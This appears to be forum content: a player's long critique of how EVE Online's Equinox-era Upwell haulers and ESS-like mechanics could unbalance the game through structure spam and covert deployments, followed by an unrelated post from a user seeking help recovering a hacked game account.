In Equinox we are going to take this same concept, but now apply it to a wide variety of materials in the game. Skyhook and Automate Drills will now have a variant of the ESS mechanics that will stick people to the grid and speed debuff them. If you are having to force people to interact with content, and make content feel artificially forced, some people will refused to engage with the same materials. Now if the new "ESS Light" interactives are always on, that will be a turn off for alot of peoples interaction with the new materials. Now if its only triggered by hacking/damaging specific items for the Skyhook or Drill, some people will try the content. But it will become too much of a burden and then people will probably get frustrated with it. There is also the fact that, once people understand how this material works...some people will use it to harrass all around the clock various alliances with reports/warnings of attacks. Psychologically wearing down groups who might not be able to respond in any meaningful way in and outside of their timezone.
What is the Strategic Implications of the New Upwell Haulers?
Several layers of problems with the concept from the get go. Apparently this idea was built more around PVP, then actual PVE and Defense. These new ships will be preferred for both moving the materials and stealing them from your rivals. However, the infrastructure bay has added a huge problem into the mix. Projection. And Projection of power, that if left unchecked could be highly destabilizing to the game.
If you guys were listening to the CCP stream. We are dealing with a serious strategic/tactical oversight pertaining to these haulers. The new upwell haulers are literally an unlimited supply of storage and literally a nuclear proliferation of station deployment. You can now deploy a variety of infrastructure depending on tier of the Upwell Hauler.
The Squall especially will be an annoyance. Why? Consider the fact that an Astrauhaus is 8000m3 and its core is about 500m3. a fuel block is 5m3. You can cram a Squall with 6 Astrahaus 6 Cores + whatever fuel you prefer. Now this can be further tweaked depending on what modules you want to deploy. 3 Astrahaus with defensive modules + cores + fuel seems reasonable. And the ammunition is stored in the 3000m3 cargo bay.
And this is just ONE Squall. Consider whole fleets of them? Can you stop them intruding in WH space? can you stop them log off camping a system in low or null or WH with a station aboard? You try to get into wormhole space as a new corp and you finally find that little slice of WH space no one seems to be at home...you deploy your first astrahaus, everything is ready to go. Everything seems fine...then after you have logged the OPFOR logs in...drops their Astrahaus or other station and you are just going to get riddled before you even start. And this is just T1 option.
Now the problem begins to compound with the Deluge the Upwell Blockade Runner. Cov Ops, Covert Cyno, Can Be Bridged...and can carry infrastructure. Okay who at CCP was smoking the fun stick? Do you not realize you basically created the perfect self-sustaining BLOP force? Prospect, Cov Ops, BLOPS, T3C, and the Deluge as a team. They can literally Genghis Khan the whole map if they want. Bypassing enemy territory defenses, bouncing around the map. And if need be setting up stations for temporary respite and refueling or logistics if necessary. The Deluge can carry again around 3 Astrahaus and their Cores + Fuel. Ammunition/Consumables + fuel for the Cyno can be in the 4000m3 cargo. [Note that if players tinker with this ship a bit...the self-sustainment of this option becomes a very interesting problem for balance]
Torrent is another interesting little problem in its own right. CCP did say they "downgraded" the Torrent to 90,000m3. [CCP Bee...you forgot to click on the ship after you were inside it...so the stats were not showing accurately on the attributes of the info card. And simulation mode only shows base stats for the ship if you were to info the ship hull in the simulation.] So Sotiyos, Fortizars are capable of being moved. [The only major question is how large is the fleet hold of this particular DST...because if its over 50,000m3. The CSM "Concerns" have been basically made pointless + any left over space will be for fuel blocks and consumables. In cargo bay and the fleet bay and infrastructure bay. But this ship can carry even more Astrahaus and so the pressure tactics using the Upwell ships begins to escalate.
Avalanche...he he...sweats...accurate name...horrifically not thought out. 3,000,000m3 infrastructure bay. 3 Keepstars...+ Cores. And Modules...+ Fuel. At max level. I am not sure if CCP is considering the fact that players will not use these for reagents as they were designed as much...as literally EVEs equivalent of a Marine Landing Craft Carrier. An Avalanche can carry 3 Keepstars/Sotiyo + Cores. Or 20 Fortizars/Tatara/Azbel + Cores.
But the really insane part of this whole scenario. 375 Astrahaus/Raitaru/Athanor + Cores can be deployed without batting an eye. Can you say a structure spam campaign? Literally an Avalanche of Medium Upwell Structures. And this is just one Avalanche...just think about your system being invaded by an Avalanche and all the little smaller Upwell Haulers...Structure Spam Galoore. If you don't kill it fast enough, you are in for a world of hurt...oh and did I forget to tell you the BLOPS were going to start dropping in because of Covert Cyno Support from one of the Deluge? Now you have two problems...better hope a cyno doesn't light....FRAG...here comes the Titans/Carriers/Dreads...and everything else. This might be a bit overkill and unbalanced to say the least.
What is the effects of the Upwell Haulers in Highsec and Lowsec?
If you think the scenario above is a bit concerning, the next step is the fact the Upwell Haulers are tanky and have a very "friendly" amount of missile functionality for their class.
I have a feeling the Ganking community is in for some really tough days ahead. I think the gankers are going to have to upgrade their ships to ABCs, and hopefully they won't be forced into ganking Battleships but you don't know with the current situation.
I can see the Upwell Ships easily replacing alot of the other hauling ships over time for hauling services. Just because the capability to fire back at their attackers and the ability to withstand alot of threats outright might be a bit too much.
Now the most interesting question will be will these ship also destabilize mission running, PVE, and to a limited extent PVP [especially in the baiting PVP sphere.]
The problem will be the ganking community might have a laugh initially at the first few Upwell Haulers as they come online, but when convoys of these ships start showing up in en mass on the space lanes of New Eden. The Cost to Benefit ratios will begin to tip into the Haulers favor. You might as well donate free extra loot to the haulers depending on the fits there of deployed.
And these new ships might be more problematic for the overall health of the ship ecosystem as people will abandon the traditional haulers for something that can shoot back and possibly survive the gankers...loving attentions. This might also spark a massive amount of requests for upgrades and updating the older hauler hulls inline with the Upwell Haulers which might have further negative effects on the ganking community as a whole.
The ability for these new ships to fight back, and even possibly call reinforcements will probably dissuade some players from engaging them just because they don't want to be PVP zkill by a hauler. But I think CCP isn't considering the full ramifications of these new ships and how it is fully possible for these ships to complete unbalance the game further than just the changes in Equinox Sov Mechanics.
I Urge Caution on this subject at all costs. And that the CSM maybe consider and discuss the math of infrastructure that can be deployed by these ships en mass. And how this could have severe negative effects if not carefully considered. It might require a Nerf of the packaged size of Upwell Stations to dissuade Structure Spam as a tactic in nullsec especially but in all other spaces...except Pochven. [structure limitations currently imposed.]

For the past a month and a bit I’ve been trying to get my account back as it’s been hacked and I have no way of accessing it. I’ve emailed and sent countless, when I say countless, I MEAN A MINIMUM OF 10 CUSTOMER SUPPORT FORMS and got really slow and robotic responses.
Once this finally went through to a supervisor they said they could not help me regarding this matter as they couldn’t get enough information from me, which is not true cuz they only asked for my billing address which I know of but don’t have access to as that was the account of one of my parents that passed.
They gave me a very stale message of basically ‘oh well we cannot do anything bye’. When I asked them (and sent them) about other types of evidence I could submit they said they could not assist me further. I redid forms and again the same answer.
My question is, is there any fricking way I can make it so I can get my goddamn account back…